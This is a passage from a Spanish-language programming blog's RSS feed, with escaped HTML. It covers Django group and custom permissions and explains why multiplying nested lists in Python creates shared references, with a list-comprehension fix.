permisos&lt;/h3&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-do-permissions-and-its-groups-work-in-django/images/django-group-permissions.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-do-permissions-and-its-groups-work-in-django/images/django-group-permissions.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Diferentes grupos de permisos en django en el panel admin&#34; width=&#34;632&#34; height=&#34;699&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;También podemos crearlos directo de la terminal de Python&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.auth.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Group&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Group&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;create(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Premium&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Group&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Premium&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;asignar-permisos-a-un-grupo&#34;&gt;Asignar permisos a un grupo&lt;/h3&gt;&#xA;&lt;p&gt;Si ya tenemos un grupo y queremos asignarle permisos &lt;strong&gt;usamos prácticamente el mismo set de métodos que usamos para un usuario&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Para establecer una lista de permisos&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;set([lista_de_permisos])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para añadir permisos, ya sea una lista o uno por uno.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(permiso1, permiso2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para remover permisos, ya sea una lista o uno por uno&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;remove(permiso1, permiso2, &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para eliminar todos los permisos de un grupo&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;premium&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;permissions&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;clear()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;anadir-o-remover-usuarios-de-un-grupo&#34;&gt;Añadir o remover usuarios de un grupo&lt;/h2&gt;&#xA;&lt;p&gt;Para añadir un grupo de permisos usamos los mismos métodos que en los ejemplos anteriores: add, remove, clear&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# agregar a un usuario a varios grupos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; group_list&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Agregar un usuario a uno o varios grupos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;add(grupo1, grupo2,&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Removemos un usuario de uno o varios grupos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;remove(grupo1, grupo2,&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Eliminamos a un usuario de todos los grupos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;groups&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;clear()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;crear-permisos-personalizados-en-django&#34;&gt;Crear permisos personalizados en Django&lt;/h2&gt;&#xA;&lt;p&gt;Podemos agregar permisos personalizados a un modelo, usaremos la sub &lt;em&gt;clase Meta&lt;/em&gt; del nuestro modelo y asignar la propiedad &lt;em&gt;permissions&lt;/em&gt; a una tupla de tuplas, donde cada tupla cuenta con el nombre del permiso y su descripción.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ((&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;permiso1&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;descripción 1&amp;#39;&lt;/span&gt;), (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;permiso 2&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;descripción 2&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podemos nombrar estos permisos como deseemos, posteriormente dotar de ese permiso a ciertos usuarios y luego comprobar si un usuario cuenta alguno de nuestros permisos usando los métodos vistos con anterioridad.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;usuarioPersonalizado&lt;/span&gt;(AbstractUser):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Meta&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        permissions &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;puede_ver_contenido_premium&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Puede ver contenido para usuarios premium&amp;#39;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            (&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;puede_ver_contenido_básico&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Puede ver contenido para usuarios básico&amp;#39;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si ahora ejecutamos las migraciones, notaremos que ya podemos agregar los permisos que creamos desde el panel de administración y desde la terminal de Python.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py makemigrations&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Recuerda revisar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.djangoproject.com/en/3.2/topics/auth/default/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación de Django sobre permisos&lt;/a&gt;&#xA; para profundizar la publicación.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;La primera vez que me enteré de que Django tenía un sistema de permisos, hace ya muchos años, me pareció algo bastante esotérico, sin mucha utilidad y fácil de replicar, que equivocado estaba en aquel entonces. Después me di cuenta de que el sistema de permisos integrado era una maravilla y ahorraba muchísimo código, además de ser bastante sólido y puesto a prueba por algunas de las empresas más grandes del mundo.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>No cometas este error al usar arrays en Python</title>
      <link>https://coffeebytes.dev/es/python/no-cometas-este-error-al-usar-arrays-en-python/</link>
      <pubDate>Wed, 07 Apr 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/no-cometas-este-error-al-usar-arrays-en-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El otro día estaba resolviendo una kata en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.codewars.com/r/qsX8Ww&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;codewars&lt;/a&gt;&#xA;, uno de los pasos del problema necesitaba de una matriz bidimensional, en palabras más mundanas: un array de arrays. En Python es súper sencillo crear una matriz bidimensional usando el operador de multiplicación, como si se tratara de números.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;arr &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[0, 0, 0, 0, 0]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no tienes idea de lo que estoy hablando te tengo un excelente recurso que puede servirte muchísimo: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/el-mejor-libro-de-python-inmersion-en-python/&#34;&gt;&amp;ldquo;Inmersion en Python&amp;rdquo;, totalmente gratuito y en español.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-manera-incorrecta-de-crear-matrices-en-python&#34;&gt;La manera incorrecta de crear matrices en Python&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Conociendo la manera de crear arrays usando el operador de multiplicación, podríamos pensar en crear una matriz bidimensional de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;matrix &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#78787e&#34;&gt;#&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Hasta aquí todo perfecto, ya tenemos nuestra matriz. Pero, que tal si queremos cambiar el segundo elemento del primer elemento de nuestra matriz (lo he marcado con un hashtag arriba).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;matrix[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#[[0, 3, 0, 0], [0, 3, 0, 0], [0, 3, 0, 0], [0, 3, 0, 0]]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Qué pasó? Modificamos un único elemento y se han modificado todos. Y no solo eso, sino que los elementos modificados corresponden siempre al segundo elemento. ¿Por qué cuando cambiamos un elemento de un array en Python se cambian todos?&lt;/p&gt;&#xA;&lt;h3 id=&#34;por-que-se-cambian-todos-los-elementos-de-mi-array-en-python&#34;&gt;¿Por qué se cambian todos los elementos de mi array en Python?&lt;/h3&gt;&#xA;&lt;p&gt;Esto sucede porque cuando Python crea el array, &lt;strong&gt;no está creando 4 diferentes arrays&lt;/strong&gt;, sino que crea uno solo y copia 4 veces la referencia a este espacio de memoria, por lo que, cualquier cambio que hagamos está modificando el único array que existe y, &lt;strong&gt;como las 4 referencias apuntan a ese array, vemos el cambio reflejado en todos&lt;/strong&gt; los arrays.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-prevenir-este-error&#34;&gt;¿Cómo prevenir este error?&lt;/h2&gt;&#xA;&lt;p&gt;Para prevenir este error al crear una matriz bidimensional.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;new_matrix &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; _ &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;range&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;)]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 